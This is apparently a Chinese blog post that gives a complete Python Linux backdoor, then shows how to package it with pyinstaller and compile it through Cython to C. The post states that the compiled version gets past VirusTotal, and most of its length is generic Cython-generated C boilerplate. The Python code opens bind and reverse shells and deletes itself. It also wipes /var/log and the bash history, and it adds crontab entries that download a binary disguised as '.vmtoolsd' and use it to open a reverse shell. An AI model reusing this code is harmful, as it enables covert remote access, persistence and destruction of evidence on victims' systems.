当前位置:   article > 正文

linux的shell后门尝试以及Cython转成C代码编译

linux python 源码 转为

零、背景


最近研究了一下之前的反弹shell的python代码块,写了一点代码尝试在LInux下绑定和反弹shell(正反向),看了一些代码,基本是两种思路。1、本地shell的输入输出通过管道与socket的输入输出进行映射。2、socket的指令在agent本地调用命令执行,结果再传回去(但是目前在测试中发现cd命令无法执行)。

一、Python源代码


比较简单,不在赘述,上源码

  1. # -*- coding:utf-8 -*-
  2. # 引入依赖的库、包、模块
  3. import os
  4. import fcntl
  5. import socket
  6. import subprocess
  7. from optparse import OptionParser
  8. # 定义shell函数
  9. def BindConnect(addr, port):
  10. '''正向连接shell'''
  11. try:
  12. shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. shell.bind((addr,port))
  14. shell.listen(1)
  15. except Exception as reason:
  16. print ('[-] Failed to Create Socket : %s'%reason)
  17. exit(0)
  18. try:
  19. client,addr = shell.accept()
  20. #下面三行代码将socket的输入输出对应到了终端shell(terminal)的
  21. os.dup2(client.fileno(),0)#将clientsocket的内容对应到标准输入,也就是,socket的输入的内容到shell内容当中去
  22. os.dup2(client.fileno(),1)#将clientsocket的内容对应到标准输出,也就是,shell的输出的内容到socket内容当中去
  23. os.dup2(client.fileno(),2)#标准错误
  24. subprocess.call(["/bin/bash", "-i"])
  25. except Exception as reason:
  26. print ('[-] Failed to Create Shell : %s'%reason)
  27. exit(0)
  28. def ReserveConnect(addr, port):
  29. '''反弹连接shell'''
  30. try:
  31. shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32. shell.connect((addr,port))
  33. except Exception as reason:
  34. print ('[-] Failed to Create Socket : %s'%reason)
  35. exit(0)
  36. try:
  37. os.dup2(shell.fileno(),0)
  38. os.dup2(shell.fileno(),1)
  39. os.dup2(shell.fileno(),2)
  40. subprocess.call(["/bin/bash", "-i"])
  41. except Exception as reason:
  42. print ('[-] Failed to Create Shell : %s'%reason)
  43. exit(0)
  44. #定义辅助功能函数
  45. def SingletonRunning():
  46. '''单例模式运行'''
  47. pidfile = open(os.path.realpath(str(__file__).split(".py")[0]), 'r')
  48. try:
  49. fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
  50. except Exception as reason:
  51. print ("[-] There is another shell is running")
  52. exit(0)
  53. def deleteSelf():
  54. '''自删除文件'''
  55. filename = os.getcwd()+"/%s"%(str(__file__).split(".py")[0])
  56. os.remove(filename)
  57. def unsetLog():
  58. '''停止口令记录'''
  59. os.popen("unset history")
  60. def clearLog():
  61. '''清除日志'''
  62. os.popen("rm -f /var/log/*")
  63. os.popen("echo '' > ~/.bash_history")
  64. def appendCrontab():
  65. '''增加计划任务'''
  66. os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  67. os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
  68. os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
  69. os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab")
  70. # 主函数运行
  71. if __name__ == "__main__":
  72. SingletonRunning()
  73. optParser = OptionParser()
  74. optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
  75. optParser.add_option('-b','--bind', action='store_true', dest='bind')
  76. optParser.add_option("-a","--addr", dest="addr")
  77. optParser.add_option("-p","--port", dest="port")
  78. options , args = optParser.parse_args()
  79. deleteSelf()
  80. unsetLog()
  81. if options.reverse:
  82. ReserveConnect(options.addr, int(options.port))
  83. elif options.bind:
  84. BindConnect(options.addr, int(options.port))
  85. clearLog()
  86. appendCrontab()

二、使用pyinstaller编译


可以打包发布,这样对环境的依赖问题解决

pyinstaller -F backdoor.py

使用VT检查结果
1070321-20181010115057420-697661684.png

三、使用Cython转换成C代码加速,且可以过VT

  1. cython backdoor.py --embed
  2. gcc `python-config --cflags` -o warcraft3 backdoor.c `python-config --ldflags`

转成代码如下:
编译后,转成新的,VT测试
1070321-20181010115248712-1882016648.png

  1. /* Generated by Cython 0.26.1 */
  2. #define PY_SSIZE_T_CLEAN
  3. #include "Python.h"
  4. #ifndef Py_PYTHON_H
  5. #error Python headers needed to compile C extensions, please install development version of Python.
  6. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000)
  7. #error Cython requires Python 2.6+ or Python 3.2+.
  8. #else
  9. #define CYTHON_ABI "0_26_1"
  10. #include <stddef.h>
  11. #ifndef offsetof
  12. #define offsetof(type, member) ( (size_t) & ((type*)0) -> member )
  13. #endif
  14. #if !defined(WIN32) && !defined(MS_WINDOWS)
  15. #ifndef __stdcall
  16. #define __stdcall
  17. #endif
  18. #ifndef __cdecl
  19. #define __cdecl
  20. #endif
  21. #ifndef __fastcall
  22. #define __fastcall
  23. #endif
  24. #endif
  25. #ifndef DL_IMPORT
  26. #define DL_IMPORT(t) t
  27. #endif
  28. #ifndef DL_EXPORT
  29. #define DL_EXPORT(t) t
  30. #endif
  31. #define __PYX_COMMA ,
  32. #ifndef HAVE_LONG_LONG
  33. #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000)
  34. #define HAVE_LONG_LONG
  35. #endif
  36. #endif
  37. #ifndef PY_LONG_LONG
  38. #define PY_LONG_LONG LONG_LONG
  39. #endif
  40. #ifndef Py_HUGE_VAL
  41. #define Py_HUGE_VAL HUGE_VAL
  42. #endif
  43. #ifdef PYPY_VERSION
  44. #define CYTHON_COMPILING_IN_PYPY 1
  45. #define CYTHON_COMPILING_IN_PYSTON 0
  46. #define CYTHON_COMPILING_IN_CPYTHON 0
  47. #undef CYTHON_USE_TYPE_SLOTS
  48. #define CYTHON_USE_TYPE_SLOTS 0
  49. #undef CYTHON_USE_PYTYPE_LOOKUP
  50. #define CYTHON_USE_PYTYPE_LOOKUP 0
  51. #undef CYTHON_USE_ASYNC_SLOTS
  52. #define CYTHON_USE_ASYNC_SLOTS 0
  53. #undef CYTHON_USE_PYLIST_INTERNALS
  54. #define CYTHON_USE_PYLIST_INTERNALS 0
  55. #undef CYTHON_USE_UNICODE_INTERNALS
  56. #define CYTHON_USE_UNICODE_INTERNALS 0
  57. #undef CYTHON_USE_UNICODE_WRITER
  58. #define CYTHON_USE_UNICODE_WRITER 0
  59. #undef CYTHON_USE_PYLONG_INTERNALS
  60. #define CYTHON_USE_PYLONG_INTERNALS 0
  61. #undef CYTHON_AVOID_BORROWED_REFS
  62. #define CYTHON_AVOID_BORROWED_REFS 1
  63. #undef CYTHON_ASSUME_SAFE_MACROS
  64. #define CYTHON_ASSUME_SAFE_MACROS 0
  65. #undef CYTHON_UNPACK_METHODS
  66. #define CYTHON_UNPACK_METHODS 0
  67. #undef CYTHON_FAST_THREAD_STATE
  68. #define CYTHON_FAST_THREAD_STATE 0
  69. #undef CYTHON_FAST_PYCALL
  70. #define CYTHON_FAST_PYCALL 0
  71. #elif defined(PYSTON_VERSION)
  72. #define CYTHON_COMPILING_IN_PYPY 0
  73. #define CYTHON_COMPILING_IN_PYSTON 1
  74. #define CYTHON_COMPILING_IN_CPYTHON 0
  75. #ifndef CYTHON_USE_TYPE_SLOTS
  76. #define CYTHON_USE_TYPE_SLOTS 1
  77. #endif
  78. #undef CYTHON_USE_PYTYPE_LOOKUP
  79. #define CYTHON_USE_PYTYPE_LOOKUP 0
  80. #undef CYTHON_USE_ASYNC_SLOTS
  81. #define CYTHON_USE_ASYNC_SLOTS 0
  82. #undef CYTHON_USE_PYLIST_INTERNALS
  83. #define CYTHON_USE_PYLIST_INTERNALS 0
  84. #ifndef CYTHON_USE_UNICODE_INTERNALS
  85. #define CYTHON_USE_UNICODE_INTERNALS 1
  86. #endif
  87. #undef CYTHON_USE_UNICODE_WRITER
  88. #define CYTHON_USE_UNICODE_WRITER 0
  89. #undef CYTHON_USE_PYLONG_INTERNALS
  90. #define CYTHON_USE_PYLONG_INTERNALS 0
  91. #ifndef CYTHON_AVOID_BORROWED_REFS
  92. #define CYTHON_AVOID_BORROWED_REFS 0
  93. #endif
  94. #ifndef CYTHON_ASSUME_SAFE_MACROS
  95. #define CYTHON_ASSUME_SAFE_MACROS 1
  96. #endif
  97. #ifndef CYTHON_UNPACK_METHODS
  98. #define CYTHON_UNPACK_METHODS 1
  99. #endif
  100. #undef CYTHON_FAST_THREAD_STATE
  101. #define CYTHON_FAST_THREAD_STATE 0
  102. #undef CYTHON_FAST_PYCALL
  103. #define CYTHON_FAST_PYCALL 0
  104. #else
  105. #define CYTHON_COMPILING_IN_PYPY 0
  106. #define CYTHON_COMPILING_IN_PYSTON 0
  107. #define CYTHON_COMPILING_IN_CPYTHON 1
  108. #ifndef CYTHON_USE_TYPE_SLOTS
  109. #define CYTHON_USE_TYPE_SLOTS 1
  110. #endif
  111. #if PY_VERSION_HEX < 0x02070000
  112. #undef CYTHON_USE_PYTYPE_LOOKUP
  113. #define CYTHON_USE_PYTYPE_LOOKUP 0
  114. #elif !defined(CYTHON_USE_PYTYPE_LOOKUP)
  115. #define CYTHON_USE_PYTYPE_LOOKUP 1
  116. #endif
  117. #if PY_MAJOR_VERSION < 3
  118. #undef CYTHON_USE_ASYNC_SLOTS
  119. #define CYTHON_USE_ASYNC_SLOTS 0
  120. #elif !defined(CYTHON_USE_ASYNC_SLOTS)
  121. #define CYTHON_USE_ASYNC_SLOTS 1
  122. #endif
  123. #if PY_VERSION_HEX < 0x02070000
  124. #undef CYTHON_USE_PYLONG_INTERNALS
  125. #define CYTHON_USE_PYLONG_INTERNALS 0
  126. #elif !defined(CYTHON_USE_PYLONG_INTERNALS)
  127. #define CYTHON_USE_PYLONG_INTERNALS 1
  128. #endif
  129. #ifndef CYTHON_USE_PYLIST_INTERNALS
  130. #define CYTHON_USE_PYLIST_INTERNALS 1
  131. #endif
  132. #ifndef CYTHON_USE_UNICODE_INTERNALS
  133. #define CYTHON_USE_UNICODE_INTERNALS 1
  134. #endif
  135. #if PY_VERSION_HEX < 0x030300F0
  136. #undef CYTHON_USE_UNICODE_WRITER
  137. #define CYTHON_USE_UNICODE_WRITER 0
  138. #elif !defined(CYTHON_USE_UNICODE_WRITER)
  139. #define CYTHON_USE_UNICODE_WRITER 1
  140. #endif
  141. #ifndef CYTHON_AVOID_BORROWED_REFS
  142. #define CYTHON_AVOID_BORROWED_REFS 0
  143. #endif
  144. #ifndef CYTHON_ASSUME_SAFE_MACROS
  145. #define CYTHON_ASSUME_SAFE_MACROS 1
  146. #endif
  147. #ifndef CYTHON_UNPACK_METHODS
  148. #define CYTHON_UNPACK_METHODS 1
  149. #endif
  150. #ifndef CYTHON_FAST_THREAD_STATE
  151. #define CYTHON_FAST_THREAD_STATE 1
  152. #endif
  153. #ifndef CYTHON_FAST_PYCALL
  154. #define CYTHON_FAST_PYCALL 1
  155. #endif
  156. #endif
  157. #if !defined(CYTHON_FAST_PYCCALL)
  158. #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1)
  159. #endif
  160. #if CYTHON_USE_PYLONG_INTERNALS
  161. #include "longintrepr.h"
  162. #undef SHIFT
  163. #undef BASE
  164. #undef MASK
  165. #endif
  166. #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag)
  167. #define Py_OptimizeFlag 0
  168. #endif
  169. #define __PYX_BUILD_PY_SSIZE_T "n"
  170. #define CYTHON_FORMAT_SSIZE_T "z"
  171. #if PY_MAJOR_VERSION < 3
  172. #define __Pyx_BUILTIN_MODULE_NAME "__builtin__"
  173. #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\
  174. PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)
  175. #define __Pyx_DefaultClassType PyClass_Type
  176. #else
  177. #define __Pyx_BUILTIN_MODULE_NAME "builtins"
  178. #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\
  179. PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)
  180. #define __Pyx_DefaultClassType PyType_Type
  181. #endif
  182. #ifndef Py_TPFLAGS_CHECKTYPES
  183. #define Py_TPFLAGS_CHECKTYPES 0
  184. #endif
  185. #ifndef Py_TPFLAGS_HAVE_INDEX
  186. #define Py_TPFLAGS_HAVE_INDEX 0
  187. #endif
  188. #ifndef Py_TPFLAGS_HAVE_NEWBUFFER
  189. #define Py_TPFLAGS_HAVE_NEWBUFFER 0
  190. #endif
  191. #ifndef Py_TPFLAGS_HAVE_FINALIZE
  192. #define Py_TPFLAGS_HAVE_FINALIZE 0
  193. #endif
  194. #if PY_VERSION_HEX < 0x030700A0 || !defined(METH_FASTCALL)
  195. #ifndef METH_FASTCALL
  196. #define METH_FASTCALL 0x80
  197. #endif
  198. typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs);
  199. typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject **args,
  200. Py_ssize_t nargs, PyObject *kwnames);
  201. #else
  202. #define __Pyx_PyCFunctionFast _PyCFunctionFast
  203. #define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords
  204. #endif
  205. #if CYTHON_FAST_PYCCALL
  206. #define __Pyx_PyFastCFunction_Check(func)\
  207. ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS)))))
  208. #else
  209. #define __Pyx_PyFastCFunction_Check(func) 0
  210. #endif
  211. #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND)
  212. #define CYTHON_PEP393_ENABLED 1
  213. #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\
  214. 0 : _PyUnicode_Ready((PyObject *)(op)))
  215. #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u)
  216. #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i)
  217. #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u)
  218. #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u)
  219. #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u)
  220. #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i)
  221. #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch)
  222. #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u)))
  223. #else
  224. #define CYTHON_PEP393_ENABLED 0
  225. #define PyUnicode_1BYTE_KIND 1
  226. #define PyUnicode_2BYTE_KIND 2
  227. #define PyUnicode_4BYTE_KIND 4
  228. #define __Pyx_PyUnicode_READY(op) (0)
  229. #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u)
  230. #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i]))
  231. #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111)
  232. #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE))
  233. #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u))
  234. #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i]))
  235. #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch)
  236. #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u))
  237. #endif
  238. #if CYTHON_COMPILING_IN_PYPY
  239. #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b)
  240. #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b)
  241. #else
  242. #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b)
  243. #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\
  244. PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b))
  245. #endif
  246. #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains)
  247. #define PyUnicode_Contains(u, s) PySequence_Contains(u, s)
  248. #endif
  249. #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check)
  250. #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type)
  251. #endif
  252. #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format)
  253. #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt)
  254. #endif
  255. #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc)
  256. #define PyObject_Malloc(s) PyMem_Malloc(s)
  257. #define PyObject_Free(p) PyMem_Free(p)
  258. #define PyObject_Realloc(p) PyMem_Realloc(p)
  259. #endif
  260. #if CYTHON_COMPILING_IN_PYSTON
  261. #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co)
  262. #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno)
  263. #else
  264. #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0)
  265. #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno)
  266. #endif
  267. #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b))
  268. #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b))
  269. #if PY_MAJOR_VERSION >= 3
  270. #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b)
  271. #else
  272. #define __Pyx_PyString_Format(a, b) PyString_Format(a, b)
  273. #endif
  274. #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII)
  275. #define PyObject_ASCII(o) PyObject_Repr(o)
  276. #endif
  277. #if PY_MAJOR_VERSION >= 3
  278. #define PyBaseString_Type PyUnicode_Type
  279. #define PyStringObject PyUnicodeObject
  280. #define PyString_Type PyUnicode_Type
  281. #define PyString_Check PyUnicode_Check
  282. #define PyString_CheckExact PyUnicode_CheckExact
  283. #endif
  284. #if PY_MAJOR_VERSION >= 3
  285. #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj)
  286. #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj)
  287. #else
  288. #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj))
  289. #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj))
  290. #endif
  291. #ifndef PySet_CheckExact
  292. #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type)
  293. #endif
  294. #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type)
  295. #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception)
  296. #if PY_MAJOR_VERSION >= 3
  297. #define PyIntObject PyLongObject
  298. #define PyInt_Type PyLong_Type
  299. #define PyInt_Check(op) PyLong_Check(op)
  300. #define PyInt_CheckExact(op) PyLong_CheckExact(op)
  301. #define PyInt_FromString PyLong_FromString
  302. #define PyInt_FromUnicode PyLong_FromUnicode
  303. #define PyInt_FromLong PyLong_FromLong
  304. #define PyInt_FromSize_t PyLong_FromSize_t
  305. #define PyInt_FromSsize_t PyLong_FromSsize_t
  306. #define PyInt_AsLong PyLong_AsLong
  307. #define PyInt_AS_LONG PyLong_AS_LONG
  308. #define PyInt_AsSsize_t PyLong_AsSsize_t
  309. #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask
  310. #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask
  311. #define PyNumber_Int PyNumber_Long
  312. #endif
  313. #if PY_MAJOR_VERSION >= 3
  314. #define PyBoolObject PyLongObject
  315. #endif
  316. #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY
  317. #ifndef PyUnicode_InternFromString
  318. #define PyUnicode_InternFromString(s) PyUnicode_FromString(s)
  319. #endif
  320. #endif
  321. #if PY_VERSION_HEX < 0x030200A4
  322. typedef long Py_hash_t;
  323. #define __Pyx_PyInt_FromHash_t PyInt_FromLong
  324. #define __Pyx_PyInt_AsHash_t PyInt_AsLong
  325. #else
  326. #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t
  327. #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t
  328. #endif
  329. #if PY_MAJOR_VERSION >= 3
  330. #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func))
  331. #else
  332. #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass)
  333. #endif
  334. #ifndef __has_attribute
  335. #define __has_attribute(x) 0
  336. #endif
  337. #ifndef __has_cpp_attribute
  338. #define __has_cpp_attribute(x) 0
  339. #endif
  340. #if CYTHON_USE_ASYNC_SLOTS
  341. #if PY_VERSION_HEX >= 0x030500B1
  342. #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods
  343. #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async)
  344. #else
  345. typedef struct {
  346. unaryfunc am_await;
  347. unaryfunc am_aiter;
  348. unaryfunc am_anext;
  349. } __Pyx_PyAsyncMethodsStruct;
  350. #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved))
  351. #endif
  352. #else
  353. #define __Pyx_PyType_AsAsync(obj) NULL
  354. #endif
  355. #ifndef CYTHON_RESTRICT
  356. #if defined(__GNUC__)
  357. #define CYTHON_RESTRICT __restrict__
  358. #elif defined(_MSC_VER) && _MSC_VER >= 1400
  359. #define CYTHON_RESTRICT __restrict
  360. #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
  361. #define CYTHON_RESTRICT restrict
  362. #else
  363. #define CYTHON_RESTRICT
  364. #endif
  365. #endif
  366. #ifndef CYTHON_UNUSED
  367. # if defined(__GNUC__)
  368. # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
  369. # define CYTHON_UNUSED __attribute__ ((__unused__))
  370. # else
  371. # define CYTHON_UNUSED
  372. # endif
  373. # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER))
  374. # define CYTHON_UNUSED __attribute__ ((__unused__))
  375. # else
  376. # define CYTHON_UNUSED
  377. # endif
  378. #endif
  379. #ifndef CYTHON_MAYBE_UNUSED_VAR
  380. # if defined(__cplusplus)
  381. template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { }
  382. # else
  383. # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x)
  384. # endif
  385. #endif
  386. #ifndef CYTHON_NCP_UNUSED
  387. # if CYTHON_COMPILING_IN_CPYTHON
  388. # define CYTHON_NCP_UNUSED
  389. # else
  390. # define CYTHON_NCP_UNUSED CYTHON_UNUSED
  391. # endif
  392. #endif
  393. #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None)
  394. #ifdef _MSC_VER
  395. #ifndef _MSC_STDINT_H_
  396. #if _MSC_VER < 1300
  397. typedef unsigned char uint8_t;
  398. typedef unsigned int uint32_t;
  399. #else
  400. typedef unsigned __int8 uint8_t;
  401. typedef unsigned __int32 uint32_t;
  402. #endif
  403. #endif
  404. #else
  405. #include <stdint.h>
  406. #endif
  407. #ifndef CYTHON_FALLTHROUGH
  408. #ifdef __cplusplus
  409. #if __has_cpp_attribute(fallthrough)
  410. #define CYTHON_FALLTHROUGH [[fallthrough]]
  411. #elif __has_cpp_attribute(clang::fallthrough)
  412. #define CYTHON_FALLTHROUGH [[clang::fallthrough]]
  413. #endif
  414. #endif
  415. #ifndef CYTHON_FALLTHROUGH
  416. #if __has_attribute(fallthrough) || (defined(__GNUC__) && defined(__attribute__))
  417. #define CYTHON_FALLTHROUGH __attribute__((fallthrough))
  418. #else
  419. #define CYTHON_FALLTHROUGH
  420. #endif
  421. #endif
  422. #endif
  423. #ifndef CYTHON_INLINE
  424. #if defined(__clang__)
  425. #define CYTHON_INLINE __inline__ __attribute__ ((__unused__))
  426. #elif defined(__GNUC__)
  427. #define CYTHON_INLINE __inline__
  428. #elif defined(_MSC_VER)
  429. #define CYTHON_INLINE __inline
  430. #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
  431. #define CYTHON_INLINE inline
  432. #else
  433. #define CYTHON_INLINE
  434. #endif
  435. #endif
  436. #if defined(WIN32) || defined(MS_WINDOWS)
  437. #define _USE_MATH_DEFINES
  438. #endif
  439. #include <math.h>
  440. #ifdef NAN
  441. #define __PYX_NAN() ((float) NAN)
  442. #else
  443. static CYTHON_INLINE float __PYX_NAN() {
  444. float value;
  445. memset(&value, 0xFF, sizeof(value));
  446. return value;
  447. }
  448. #endif
  449. #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL)
  450. #define __Pyx_truncl trunc
  451. #else
  452. #define __Pyx_truncl truncl
  453. #endif
  454. #define __PYX_ERR(f_index, lineno, Ln_error) \
  455. { \
  456. __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \
  457. }
  458. #if PY_MAJOR_VERSION >= 3
  459. #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y)
  460. #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y)
  461. #else
  462. #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y)
  463. #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y)
  464. #endif
  465. #ifndef __PYX_EXTERN_C
  466. #ifdef __cplusplus
  467. #define __PYX_EXTERN_C extern "C"
  468. #else
  469. #define __PYX_EXTERN_C extern
  470. #endif
  471. #endif
  472. #define __PYX_HAVE__warcraft3
  473. #define __PYX_HAVE_API__warcraft3
  474. #ifdef _OPENMP
  475. #include <omp.h>
  476. #endif /* _OPENMP */
  477. #ifdef PYREX_WITHOUT_ASSERTIONS
  478. #define CYTHON_WITHOUT_ASSERTIONS
  479. #endif
  480. typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding;
  481. const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry;
  482. #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0
  483. #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0
  484. #define __PYX_DEFAULT_STRING_ENCODING ""
  485. #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString
  486. #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize
  487. #define __Pyx_uchar_cast(c) ((unsigned char)c)
  488. #define __Pyx_long_cast(x) ((long)x)
  489. #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\
  490. (sizeof(type) < sizeof(Py_ssize_t)) ||\
  491. (sizeof(type) > sizeof(Py_ssize_t) &&\
  492. likely(v < (type)PY_SSIZE_T_MAX ||\
  493. v == (type)PY_SSIZE_T_MAX) &&\
  494. (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\
  495. v == (type)PY_SSIZE_T_MIN))) ||\
  496. (sizeof(type) == sizeof(Py_ssize_t) &&\
  497. (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\
  498. v == (type)PY_SSIZE_T_MAX))) )
  499. #if defined (__cplusplus) && __cplusplus >= 201103L
  500. #include <cstdlib>
  501. #define __Pyx_sst_abs(value) std::abs(value)
  502. #elif SIZEOF_INT >= SIZEOF_SIZE_T
  503. #define __Pyx_sst_abs(value) abs(value)
  504. #elif SIZEOF_LONG >= SIZEOF_SIZE_T
  505. #define __Pyx_sst_abs(value) labs(value)
  506. #elif defined (_MSC_VER) && defined (_M_X64)
  507. #define __Pyx_sst_abs(value) _abs64(value)
  508. #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
  509. #define __Pyx_sst_abs(value) llabs(value)
  510. #elif defined (__GNUC__)
  511. #define __Pyx_sst_abs(value) __builtin_llabs(value)
  512. #else
  513. #define __Pyx_sst_abs(value) ((value<0) ? -value : value)
  514. #endif
  515. static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*);
  516. static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length);
  517. #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s))
  518. #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l)
  519. #define __Pyx_PyBytes_FromString PyBytes_FromString
  520. #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize
  521. static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*);
  522. #if PY_MAJOR_VERSION < 3
  523. #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString
